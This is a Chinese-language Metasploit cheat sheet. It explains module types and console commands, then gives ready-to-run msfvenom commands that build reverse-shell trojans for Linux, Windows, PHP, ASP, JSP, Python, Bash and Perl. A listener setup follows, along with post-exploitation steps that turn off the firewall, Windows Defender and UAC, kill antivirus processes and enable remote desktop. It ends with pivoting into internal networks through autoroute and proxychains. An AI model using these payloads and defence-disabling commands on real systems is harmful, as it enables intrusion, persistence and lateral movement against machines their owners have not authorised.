一、模块的认识
- auxiliary(辅助模块 )
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
- exploits(渗透攻击模块)
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
- payloads(攻击载荷模块)
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。
single 是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单
stagers 这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。常见有
reverse_tcp 让目标系统主动连接我们的端口(反向连接)
bind_tcp 而攻击者随时可以与目标系统进行通信(正向连接)
stages 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
- encoders(编码器模块)
对payload进行加密,躲避Anti Virus检查的模块
- nops(空指令模块)
提高payload稳定性及维持大小。
- post (后渗透攻击模块)
在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板 攻击等操作
- evasion (免杀模块)
metasploit升级到5.0,引入了一个新的模块,用于免杀绕过
二、常用命令
service postgresql start 启动PostgreSQL服务
service postgresql status 查看状态
msfdb init 启动并初始化数据库
msfdb reinit 删除并重新初始化数据库
msfdb delete 删除并停止使用数据库
msfdb start 启动数据库
msfdb stop 停止数据库
db_status 查看数据库状态
db_disconnect 断开数据库连接,主要作用是可以让msf去连接其他数据库
msfconsole 启动msfmsfdb
run 启动数据库并运行msfconsole
cd /usr/share/metasploit-framework/modules 模块位置
search 主要用来搜索模块,经常使用,搜索漏洞专用
use 使用命令模块,经常使用,可以通过info命令查看模块的详细信息。
show
show options 设置相关参数。
show targets 哪些目标适合使用该攻击方式。
show payloads 显示出适用于当前模块的payloads。
show advanced 显示高级命令,有些模块需要设置高级命令才可以使用。
show missing 看有什么参数没有设置到,比较有用!
set 设置参数
unset 取消设置的参数
setg 全局设置参数
unsetg 取消全局设置的参数
save 持久化设置的参数
back 返回上一级
三、msfvenom的认识和使用
msfvenom 是 Metasploit 框架中的一个独立的载荷生成工具,用于生成和编码各种类型的攻击载荷(payload)。它结合了 msfpayload 和 msfencode 的功能,使得用户可以快速生成适用于不同平台的后门或恶意代码。
常用参数
-l, --list <type> 列出 [type] 的所有模块。类型有:payloads、encoders、nops、platforms、archs、encrypt、formats、all
-p, --payload <payload> 要使用的有效负载(--list 要列出的有效负载,--list options 用于参数)。为自定义指定“-”或 STDIN
--list-options 列出 --payload <value> 的标准、高级和规避选项
-f, --format <format> 输出格式(使用 --list 格式列出)
-e, --encoder <encoder> 要使用的编码器(使用 --list 编码器列出)
--service-name <value> 生成服务二进制文件时使用的服务名称
--sec-name <value> 生成大型 Windows 二进制文件时使用的新部分名称。默认值:随机 4 个字符的字母字符串
--smallest 使用所有可用的编码器生成尽可能小的有效载荷
--encrypt <value> 应用于 shellcode 的加密或编码类型(使用 --listencrypt 列出)
--encrypt-key <value> 用于 --encrypt 的密钥
--encrypt-iv <value> --encrypt 的初始化向量
-a, --arch <arch> 用于 --payload 和 --encoders 的架构(使用 --listarchs 列出)
--platform <platform> --payload 的平台(使用 --list 平台列出)
-o, --out <path> 将有效负载保存到文件
-b, --bad-chars <list> 避免使用的字符示例:'\x00\xff'
-n, --nopsled <length> 将 [length] 大小的 nopsled 添加到有效负载上
--pad-nops 使用 -n <length> 指定的 nopsled 大小作为总负载大小,自动预先添加数量的 nopsled(nops 减去负载长度)
-s, --space <length> 结果有效载荷的最大大小
--encoder-space <length> 编码负载的最大大小(默认为 -s 值)
-i, --iterations <count> 设置有效载荷的编码次数
-c, --add-code <path> 指定要包含的附加 win32 shellcode 文件
-x, --template <path> 指定用作模板的自定义可执行文件
-k, --keep 保留 --template 行为并将有效负载作为新线程注入
-v, --var-name <value> 指定用于某些输出格式的自定义变量名称
-t, --timeout <second> 从 STDIN 读取有效负载时等待的秒数(默认为 30,0 表示禁用)
-h, --help 显示此消息
msfvenom生成木马
注意版本不同,payload也有所不同
Linux:
msf5版本:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f elf > l.elf
msf6版本:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f elf > 1.elf
windows:
msf5版本:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f exe > info.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 -a x64 -f exe > info.exe
msf6版本:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f exe > info.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.0.0 LPORT=4444 -a x64 -f exe > info.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f raw > shell.php
ASP:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.0 LPORT=4444 -f raw > shell.jsp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.229.136 LPORT=4444 -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.26.128 LPORT=4444 -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.229.136 LPORT=4444 -f raw > shell.pl
四、监听模块的使用
msfconsole
use exploit/multi/handler
show options
set payload windows/meterpreter_reverse_tcp
set lhost 192.168.0.0
set lport 4444
run
五、后渗透
关闭防火墙
netsh advfirewall set allprofiles state off # 关闭
netsh advfirewall set allprofiles state on # 打开
关闭Win Defender
net stop windefend
关闭杀毒软件(需要system权限,一般采用kill进程)
ps -ef 查看进程id,pid
migrate [pid] 迁移进程
kill [pid]
开启远程桌面
run post/windows/manage/enable_rdp
关闭UAC(system权限)
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
依次执行两条命令
六、内网渗透
路由转发:
meterpreter> route 查看所在网段信息
meterpreter> background 将会话放置后台
run autoroute -s 192.168.122.0/24
route add 192.168.0.0 255.255.255.0 1
route print
这样只能msf访问内网
msf6> use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set version 5
run
jobs 查看挂起的会话
vim /etc/proxychains.conf
添加 socks5 127.0.0.1 1080
通过proxychains nmap/msfconsole ..... 来访问内网 //只对TCP流量有效